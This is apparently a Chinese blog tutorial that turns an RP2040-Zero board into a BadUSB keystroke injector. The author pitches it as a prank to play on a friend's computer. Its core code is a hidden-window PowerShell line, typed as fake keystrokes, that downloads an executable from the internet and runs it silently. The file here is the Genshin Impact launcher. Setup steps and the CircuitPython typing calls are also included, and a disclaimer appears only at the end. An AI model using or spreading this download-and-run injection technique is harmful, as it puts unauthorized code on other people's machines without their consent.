用 RP2040-Zero 实现原神自由!

把一块 rp2040 板子插到电脑上,十几秒后,屏幕上冒出原神安装包的下载进度条,接着 miHoYo Launcher 的图标出现在桌面。想不想用这个小技能造福你的好兄弟?好好看好好学~

为什么是 RP2040-Zero

RP2040 是树莓派的双核 Cortex-M0+ 芯片,微雪的 RP2040-Zero 把它做成了一块比 U 盘还小一圈的板子:2MB Flash、USB-C 口、板载一颗 WS2812,外加 BOOT 和 RESET 两个按键,自带原生 USB 控制器。插到电脑上时,它可以把自己描述成一个标准键盘,电脑检测不到异常,只会看到一个人畜无害的 HID 设备。欸🤓,这样一来就可以安安全全地搞点小恶作剧了不是?

准备清单

物品 说明
RP2040-Zero 一块
USB-C 线 必须能传数据,纯充电线会让人白忙半小时
CircuitPython 固件 官网下载 Raspberry Pi Pico
adafruit_hid 库 解压后放进 lib/ 目录

第一步:刷固件(也可以让Ai直接写入,解放双手)

按住板子上的 BOOT 键不放,插上 USB。电脑上会出现一个叫 RPI-RP2 的 U 盘,把下载好的 .uf2 拖进去,板子自动重启,出现 CIRCUITPY 盘就成功了。

型号选 Raspberry Pi Pico 就行,RP2040-Zero 的芯片和 Flash 都对得上。

第二步:装库、写脚本

从 CircuitPython 官方库包里,把整个 adafruit_hid 文件夹拷到 CIRCUITPY/lib/ 下。少了这个库,usb_hid 那层帮你组织按键的代码就跑不起来。

脚本做成 CIRCUITPY/code.py,板子每次上电都会自动执行它。名字一定要对应好【code.py】,不然应该是没法正常运行噢

第三步:设计脚本

出于安全考虑,badusb的具体实现原理不方便完整展示,说下简单思路吧:键盘映射、模拟输入、等待下载、运行。具体可以分步骤问问AI实现原理,或者看github:https://github.com/luoluo13/Hardware-code-repository

核心代码:

powershell -w h -c "iwr [https://hyp-webstatic.mihoyo.com/hyp-client/hyp_cn_setup_1.0.5.exe](https://hyp-webstatic.mihoyo.com/hyp-client/hyp_cn_setup_1.0.5.exe) -o $env:temp\mhy.exe; start $env:temp\mhy.exe"

逐个拆开看:-w h 让 PowerShell 窗口不显示;iwr 是 Invoke-WebRequest 的简写;-o 把文件存进临时目录;最后的 start 直接运行它。

在 CircuitPython 里把它写成一行字符串交给 type_text(),路径里的反斜杠记得转义成 \\,敲完补一个回车:

type_text(kbd, cmd)
tap(kbd, 0, KEY_ENTER)

跑通之后,CircuitPython 的串口终端会打印一行:

started download of miHoYo launcher

想重跑一遍,按一下板子上的 RESET 键,code.py 会自动重新执行,不用拔插。

最后!!补充一个宇宙安全声明:badusb是一种威力极强的技术,很容易被作用于非法途径。本教程以一个简单的恶作剧介绍badusb和rp2040开发板,仅用于学习交流,严禁用于任何非法途径,违者后果自负!